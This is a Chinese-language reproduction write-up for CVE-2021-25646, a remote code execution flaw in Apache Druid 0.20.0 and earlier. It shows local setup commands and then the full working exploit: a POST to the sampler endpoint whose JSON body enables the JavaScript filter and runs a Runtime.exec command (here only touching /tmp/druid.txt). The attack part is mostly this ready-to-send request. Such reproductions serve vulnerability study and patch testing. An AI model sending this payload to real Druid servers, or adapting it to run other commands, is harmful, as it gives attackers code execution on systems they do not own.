# CVE-2021-25646

# 漏洞简介

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。

# 漏洞复现

# 影响版本:Apache Druid <= 0.20.0

# 下载

国内镜像下载超快 (opens new window)

# 启动

tar -xzf apache-druid-0.19.0-bin.tar.gz 

cd apache-druid-0.19.0

./bin/start-micro-quickstart

1
2
3
4
5
6

# 访问

http://localhost:8888 (我部署在本地)

# 攻击

发起请求 POST http://localhost:8888/druid/indexer/v1/sampler

content-type:application/json

携带 body

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "inputSource":{
                "type":"inline",
                "data":"{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"
            },
            "inputFormat":{
                "type":"json",
                "keepNullColumns":true
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"timestamp",
                "format":"iso"
            },
            "dimensionsSpec":{

            },
            "transformSpec":{
                "transforms":[

                ],
                "filter":{
                    "type":"javascript",
                    "dimension":"added",
                    "function":"function(value) {java.lang.Runtime.getRuntime().exec('touch /tmp/druid.txt')}",
                    "":{
                        "enabled":true
                    }
                }
            }
        },
        "type":"index",
        "tuningConfig":{
            "type":"index"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

命令执行:

java.lang.Runtime.getRuntime().exec('touch /tmp/druid.txt')
1

我用的 postman 发起请求的截图

image-20210218214534074

# 命令执行结果

image-20210218214534074